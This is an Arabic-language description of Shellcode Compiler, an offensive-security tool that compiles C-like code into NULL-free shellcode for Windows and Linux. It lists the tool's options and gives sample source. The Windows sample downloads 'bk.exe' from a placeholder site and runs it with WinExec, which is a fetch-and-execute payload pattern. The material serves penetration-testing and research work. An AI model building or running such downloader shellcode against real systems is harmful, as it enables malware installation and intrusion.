
مترجم الشيلكود
Shellcode Compiler هو برنامج يقوم بترجمة كود بأسلوب C/C++ إلى شيلكود صغير، مستقل عن الموضع، وخالٍ من NULL لأنظمة Windows (x86 و x64) و Linux (x86 و x64). من الممكن استدعاء أي دالة من Windows API أو syscall في Linux بطريقة سهلة الاستخدام.
يأخذ Shellcode Compiler ملف مصدر كمدخل ويستخدم مترجمه الخاص لتفسير الكود وإنشاء ملف تجميع يتم تجميعه مع محرك Keystone.
-h (--help) : إظهار رسالة المساعدة هذه
-p (--platform) : منصة الشيلكود: win_x86,win_x64,linux_x86,linux_x64
-v (--verbose) : طباعة المخرجات التفصيلية
-t (--test) : اختبار (تنفيذ) الشيلكود المُنشأ
-r (--read) : قراءة ملف شفرة المصدر
-o (--output) : ملف الإخراج للشيلكود الثنائي المُنشأ
-a (--assembbly) : ملف الإخراج لكود التجميع المُنشأ
function URLDownloadToFileA("urlmon.dll");
function WinExec("kernel32.dll");
function ExitProcess("kernel32.dll");
URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
WinExec("bk.exe",0);
ExitProcess(0);
chmod("/root/chmodme",511);
write(1,"Hello, world",12);
kill(1661,9);
getpid();
execve("/usr/bin/burpsuite",0,0);
exit(2);
ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
توجد قيود أخرى متعددة أيضًا. هذا إصدار ألفا. يرجى الإبلاغ عن أي أخطاء أو اقتراحات.
Ionut Popescu (@NytroRST)